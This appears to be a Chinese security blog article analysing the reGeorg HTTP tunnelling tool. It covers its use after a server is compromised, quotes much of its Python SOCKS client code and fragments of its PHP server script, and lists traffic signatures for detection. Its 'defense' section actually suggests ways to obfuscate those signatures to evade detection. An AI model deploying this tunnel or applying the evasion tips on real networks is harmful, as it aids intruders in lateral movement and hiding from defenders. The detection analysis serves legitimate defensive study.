首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >C2服务器隧道代理分析

C2服务器隧道代理分析

作者头像
黑伞安全
发布于 2021-10-14 04:08:18
发布于 2021-10-14 04:08:18
1.4K00
代码可运行
举报
文章被收录于专栏:黑伞安全黑伞安全
运行总次数:0
代码可运行

隧道代理技术

代理是委托一个人找目标,隧道是通过特定的通讯方法,直接找到这个目标;代理最主要的特征是,无论代理后面挂了几个设备,代理对外只表现为一个设备。外部设备以为自己是在和代理交互,而不能感知代理内部的设备。隧道是一个虚拟的路径,用来使到达隧道入口的数据,穿越原本不方便穿越的网络,到达另一侧出口。 代理和隧道概念上虽然有区别,但它们的区别不是本质冲突,可以同时实现,也就是隧道代理,即通过隧道进行代理。

适用场景

一般用在服务器已被getshell,想横向渗透但是因为ACL策略较为严格,只允许某个别协议进出(如http协 议),无法直接将端口转发或者反弹shell。此时可利用允许通行的网络协议构建相关代理隧道,使其成为跳板机。

这里以工具reGeorg为例进行分析。

工作原理流程

reGeorg工具便是利用http协议构建了一个简易的代理隧道,从而实现我们的目的。

流量特征总结

  • 原生代码中客户端与服务端连接时会先发送一个GET请求确认服务端运行是否正常,服务端服务正常则会 返回字符串Georg says, 'All seems fine告知客户端一切就绪。
  • 建立连接之后,客户端仅代理socks的流量,且仅限采用POST请求对服务端进行访问。
  1. 原生代码中,根据此请求对应的功能请求会带有GET和POST参数,形式如:xxx?cmd=xxX-CMD=xx
  2. 原生代码中服务端的响应会根据请求中的内容是否成功实现带有如下关键字:X-STATUSX- ERROR(仅当遭遇错误失败时返回X-ERROR)
  3. 当cmd|X-CMD对应的功能为connect时,会通过target和port两个GET关键字与X-TARGETX- PORT两个POST关键字传递要请求的ip和端口
  4. 当cmd|X-CMD对应的功能为reader时,GET关键字为cmd=read,POST关键字为X-CMD=READ
  5. 当cmd|X-CMD对应的功能为writer时,GET关键字为cmd=forward,POST关键字为X- CMD=FORWARD,且此时http流量报文中header里 Content-Type属性为且仅为 application/octet-stream
  • 原生代码中未对数据做任何加密或混淆操作,纯明文传输。(意味着无论是对敏感数据的访问,还是 payload的发送,任何操作的数据都可以被清晰看到)

功能分析

客户端

  1. 绑定本地指定端口,端口默认情况为8888,起一个SockerServer服务。用来接收需要转发的本地流量
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


servSock = socket(AF_INET, SOCK_STREAM)
servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
servSock.bind((args.listen_on, args.listen_port))
servSock.listen(1000)
while True:
    try:
        sock, addr_info = servSock.accept()
        sock.settimeout(SOCKTIMEOUT)
        log.debug("Incomming connection")
        session(sock, args.url).start()
    except KeyboardInterrupt, ex:
        break
    except Exception, e:
        log.error(e)
servSock.close()
  1. 将流量代理到指定的本地端口
  2. 询问服务端状态,查看是否可以正常提供服务。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制










def askGeorg(connectString):
    connectString = connectString
    o = urlparse(connectString)
    try:
        httpPort = o.port
    except:
        if o.scheme == "https":
            httpPort = 443
        else:
            httpPort = 80
    httpScheme = o.scheme
    httpHost = o.netloc.split(":")[0]
    httpPath = o.path
    if o.scheme == "http":
        httpScheme = urllib3.HTTPConnectionPool
    else:
        httpScheme = urllib3.HTTPSConnectionPool
    conn = httpScheme(host=httpHost, port=httpPort)
    response = conn.request("GET", httpPath)
    if response.status == 200:
        if BASICCHECKSTRING == response.data.strip():
            log.info(BASICCHECKSTRING)
            return True
    conn.close()
return False
if not askGeorg(args.url):
    log.info("Georg is not ready, please check url")
    exit()
  1. 有流量进入后,判断是socks的哪个版本
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制



def handleSocks(self, sock):
    # This is where we setup the socks connection
    ver = sock.recv(1)
    if ver == "\x05":
        return self.parseSocks5(sock)
    elif ver == "\x04":
        return self.parseSocks4(sock)
def run(self):
    try:
        if self.handleSocks(self.pSocket):
···

获取请求的targetIP+Port

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制



def parseSocks5(self, sock):
        log.debug("SocksVersion5 detected")
        nmethods, methods = (sock.recv(1), sock.recv(1))
        sock.sendall(VER + METHOD)
        ver = sock.recv(1)
        if ver == "\x02":  # this is a hack for proxychains
            ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
        else:
            cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
        target = None
        targetPort = None
        if atyp == "\x01":  # IPv4
            # Reading 6 bytes for the IP and Port
            target = sock.recv(4)
            targetPort = sock.recv(2)
            target = "." .join([str(ord(i)) for i in target])
        elif atyp == "\x03":  # Hostname
            targetLen = ord(sock.recv(1))  # hostname length (1 byte)
            target = sock.recv(targetLen)
            targetPort = sock.recv(2)
            target = "".join([unichr(ord(i)) for i in target])
        elif atyp == "\x04":  # IPv6
            target = sock.recv(16)
            targetPort = sock.recv(2)
            tmp_addr = []
            for i in xrange(len(target) / 2):
                tmp_addr.append(unichr(ord(target[2 * i]) * 256 + ord(target[2 * i + 1])))
            target = ":".join(tmp_addr)
        targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1])
        if cmd == "\x02":  # BIND
            raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
        elif cmd == "\x03":  # UDP
            raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
        elif cmd == "\x01":  # CONNECT
            serverIp = target
            try:
                serverIp = gethostbyname(target)
            except:
                log.error("oeps")
            serverIp = "".join([chr(int(i)) for i in serverIp.split(".")])
            self.cookie = self.setupRemoteSession(target, targetPort)
            if self.cookie:
                sock.sendall(VER + SUCCESS + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256))
                return True
            else:
                sock.sendall(VER + REFUSED + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256))
                raise RemoteConnectionFailed("[%s:%d] Remote failed" % (target, targetPort))

        raise SocksCmdNotImplemented("Socks5 - Unknown CMD")
  1. 调用功能CONNECT向服务端发起访问请求。参数是tagetIP+Port 如果请求成功,会将生成的 sessionID保存下来(很重要用来保存整个服务端和Target的Socket会话状态)
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


def setupRemoteSession(self, target, port):
        headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port}
        self.target = target
        self.port = port
        cookie = None
        conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
        # response = conn.request("POST", self.httpPath, params, headers)
        response = conn.urlopen('POST', self.connectString + "?cmd=connect&target=%s&port=%d" % (target, port), headers=headers, body="")
        if response.status == 200:
            status = response.getheader("x-status")
            if status == "OK":
                cookie = response.getheader("set-cookie")
                log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie))
            else:
                if response.getheader("X-ERROR") is not None:
                    log.error(response.getheader("X-ERROR"))
        else:
            log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target, self.port, response.status, response.getheader("X-ERROR")))
            log.error("[%s:%d] RemoteError: %s" % (self.target, self.port, response.data))
        conn.close()
        return cookie
  1. 调用功能READ向服务端发起读数据请求,并将读取到的数据发送给相应的本地程序。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制

def reader(self):
        conn = urllib3.PoolManager()
        while True:
            try:
                if not self.pSocket:
                    break
                data = ""
                headers = {"X-CMD": "READ", "Cookie": self.cookie, "Connection": "Keep-Alive"}
                response = conn.urlopen('POST', self.connectString + "?cmd=read", headers=headers, body="")
                data = None
                if response.status == 200:
                    status = response.getheader("x-status")
                    if status == "OK":
                        if response.getheader("set-cookie") is not None:
                            cookie = response.getheader("set-cookie")
                        data = response.data
                        # Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters
                        try:
                            if response.getheader("server").find("Apache-Coyote/1.1") > 0:
                                data = data[:len(data) - 1]
                        except:
                            pass
                        if data is None:
                            data = ""
                    else:
                        data = None
                        log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("X-ERROR")))
                else:
                    log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
                if data is None:
                    # Remote socket closed
                    break
                if len(data) == 0:
                    sleep(0.1)
                    continue
                transferLog.info("[%s:%d] <<<< [%d]" % (self.target, self.port, len(data)))
                self.pSocket.send(data)
            except Exception, ex:
                raise ex
        self.closeRemoteSession()
        log.debug("[%s:%d] Closing localsocket" % (self.target, self.port))
        try:
            self.pSocket.close()
        except:
            log.debug("[%s:%d] Localsocket already closed" % (self.target, self.port))

  1. 本地程序接收到到读取的数据后进行自己的处理,并将自己解析处理后的响应数据放到http的data里, 并将标识符设置成FORWARD,发送给服务端。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


def writer(self):
        global READBUFSIZE
        conn = urllib3.PoolManager()
        while True:
            try:
                self.pSocket.settimeout(1)
                data = self.pSocket.recv(READBUFSIZE)
                if not data:
                    break
                headers = {"X-CMD": "FORWARD", "Cookie": self.cookie, "Content-Type": "application/octet-stream", "Connection": "Keep-Alive"}
                response = conn.urlopen('POST', self.connectString + "?cmd=forward", headers=headers, body=data)
                if response.status == 200:
                    status = response.getheader("x-status")
                    if status == "OK":
                        if response.getheader("set-cookie") is not None:
                            self.cookie = response.getheader("set-cookie")
                    else:
                        log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("x-error")))
                        break
                else:
                    log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
                    break
                transferLog.info("[%s:%d] >>>> [%d]" % (self.target, self.port, len(data)))
            except timeout:
                continue
            except Exception, ex:
                raise ex
                break
        self.closeRemoteSession()
        log.debug("Closing localsocket")
        try:
            self.pSocket.close()
        except:
            log.debug("Localsocket already closed")
  1. 之后会根据本地程序的操作是否结束而进入读写循环,若数据交互结束则通过DISCONNECT结束代理连接。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


def closeRemoteSession(self):
        headers = {"X-CMD": "DISCONNECT", "Cookie": self.cookie}
        params = ""
        conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
        response = conn.request("POST", self.httpPath + "?cmd=disconnect", params, headers)
        if response.status == 200:
            log.info("[%s:%d] Connection Terminated" % (self.target, self.port))
        conn.close()

服务端

官方原生代码脚本中根据可能的服务端环境给出了多个版本的服务端脚本。这里以PHP脚本为例: 1. 首先设置相关功能需要的环境条件,如开启文件包含文件引用,导入socket:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制

ini_set("allow_url_fopen", true);
ini_set("allow_url_include", true);
dl("php_sockets.dll");
  1. 接收到请求后根据GET类型和POST类型判断是否为新客户端请求询问服务端是否正常,并返回消息。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


if ($_SERVER['REQUEST_METHOD'] === 'GET')
{
    exit("Georg says, 'All seems fine'");
}
  1. 根据CONNECT请求中的targetIP和port参数与其建立socket连接。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


switch(
  1. 服务端得到客户端发送的READ读取指令后,读取socket数据。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


case "READ":{    @session_start();    
  1. 服务器接收到FORWARD数据后,从客户端请求中获取到响应数据发送给前面建立好的Socket服务。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


case "FORWARD":    {        @session_start();        

检测

由对该工具的流量特征总结我们可以知道原生版本的固定特征值,以及其工具完全建立在http协议下,只需要针对http的流量进行相关特征值的检测即可判断是否为原生版本reGeorg。其次,由于该工具对代理的数据是纯明文传输。且最终的目的IP和port会被放到参数中,我们可以检测参数中是否存在连续的明文IP和port以及可能存在的明文形式的协议格式数据或者攻击payload来检测判断。

防御

首先是固定的特征值,考虑到特征值数量很少且长度不长,可以用password设置randsend的方式,让服务端 和客户端分别在本地生成相同的随机数序列,然后将特征值与随机数异或的结果作为传输数据,即不影响传输效率,也可混淆特征值的存在。 其次,关于目标代理数据明文传输的问题,我们可以自行设置数据处理算法对其进行混淆判断即可。也可以考 虑添加脏数据的方式,不过考虑到工具的传输效率问题,不推荐使用脏数据的方式。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
​​内网隧道之Neo-reGeorg
github:https://github.com/L-codes/Neo-reGeorg
中龙技术
2022/09/29
2.4K0
​​内网隧道之Neo-reGeorg
socketの应用 : Proxy&http-send
下面是几个socket的常用方式, 模板都是网上扒拉其他师傅的, 一直都是直接import使用的, 因为是太久之前的事了, 就不找师傅们的原文了, 见谅。
h0cksr
2023/05/17
2090
(三) 服务器端的程序架构介绍2
下面我们以pc端登录为例来具体看一个数据包在服务器端各个服务之间走过的流程: 步骤1:login_server初始化侦听socket,设置新连接到来的回调函数。8080端口,该端口是为http服务配置
范蠡
2018/04/04
9690
(三) 服务器端的程序架构介绍2
python的服务
操作系统: (Operating System,简称OS)是管理和控制计算机硬件与软件资源的计算机程序,是直接运行在“裸机”上的最基本的系统软件,任何其他软件都必须在操作系统的支持下才能运行。
py3study
2020/01/03
5100
python的服务
基于Golang徒手写个转发代理服务
由于公司经常需要异地办公,在调试的时候需要用到内网环境,因此手动写了个代理转发服务器給兄弟们用,项目地址是:socks5proxy。
机械视角
2019/10/23
1.6K0
python之web服务器
这是一篇写在正式引入web框架之前的总结,也是对前面的一个总结,认识会深刻一点,看起来会更加容易理解。
用户8639654
2021/08/17
2.7K0
Python的socket代理脚本
这里和上面没太大区别,就是将返回的内容修改为我们input的数据,交互性强了一点,仅此而已
h0cksr
2023/05/17
4740
第十七章 Python网络编程
在网络上的两个程序通过一个双向的通信连接实现数据的交换,这个链接的一端称为一个Socket(套接字),用于描述IP地址和端口。
py3study
2020/01/08
5800
内网隧道之icmpsh
最后更新于2013年,能通过ICMP协议请求/回复报文反弹cmd,不需要指定服务或者端口,也不用管理员权限,但反弹回来的cmd极不稳定
中龙技术
2022/09/29
5460
内网隧道之icmpsh
Python Socket套接字编程
网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息,资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等.
王 瑞
2022/12/28
1.4K0
一次算法读图超时引起的urllib3源码分析
问题:发现某算法A,单独测试推理<50ms,但是整个流程花费200ms~3s,明显不正常,头大!!!
程序员荒生
2022/03/04
1.2K0
一次算法读图超时引起的urllib3源码分析
Python 基于队列实现 tcp socket 连接池
授客
2025/05/03
1030
python实现单工、半双工、全双工聊天室
半双工实现是连接建立以后,服务器等待客户端发送消息,客户端发送消息后等待接收服务器,这样一来一回循环往复下去。直到出现quit,关闭连接。
Ewdager
2020/07/14
1.8K0
micro微服务 基础组件的组织方式
micro是go语言实现的一个微服务框架,该框架自身实现了为服务常见的几大要素,网关,代理,注册中心,消息传递,也支持可插拔扩展。本本通过micro中的一个核心对象展开去探讨这个项目是如何实现这些组件并将其组织在一起工作的。
魂祭心
2019/07/22
6680
micro微服务 基础组件的组织方式
面向对象之套接字(socket)和黏包
 一丶套接字(socket)   tcp是基于链接的,必须先启动服务端,然后再启动客户端去链接服务端   基于UDP协议的socket   server端: import socket udp_sk = socket.socket(type=socket.SOCK_DGRAM) #创建一个服务器的套接字 udp_sk.bind(('127.0.0.1',9000)) #绑定服务器套接字 msg,addr = udp_sk.recvfrom(1024) print(msg) udp_sk.s
py3study
2020/01/19
6150
面向对象之套接字(socket)和黏包
python3黑帽子mbp版(第2章:网
写在最前面的话:很早之前就想学python了,趁着买来了书,打算开始python学习之旅。先说下我的工具:使用的是sublime text3编辑器,主要使用的网站是廖雪峰老师 的网站,借鉴了很多ODboy博客中的知识点。 tcp客户端
py3study
2020/01/06
9280
Dart实战——Socks5服务器
视频教程已上传B站,本篇将视频教程中的资料和代码进行了整理,可通过以下链接观看,注意结合本文档食用才更配哦
arcticfox
2020/10/29
2.8K0
Python黑客技术实战指南:从网络渗透到安全防御
Python凭借其丰富的第三方库和简洁的语法结构,已成为网络安全领域的首选语言。其主要优势体现在:
Lethehong
2025/02/23
2660
Python黑客技术实战指南:从网络渗透到安全防御
python的socket编程
转自http://www.oschina.net/question/12_76126
py3study
2020/01/10
8670
socks5协议原理分析及实现对比
本文个人博客链接:https://rayepeng.net/socks5-xie-yi-yuan-li-fen-xi-ji-shi-xian-dui-bi
raye
2024/02/04
2K0
相关推荐
​​内网隧道之Neo-reGeorg
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验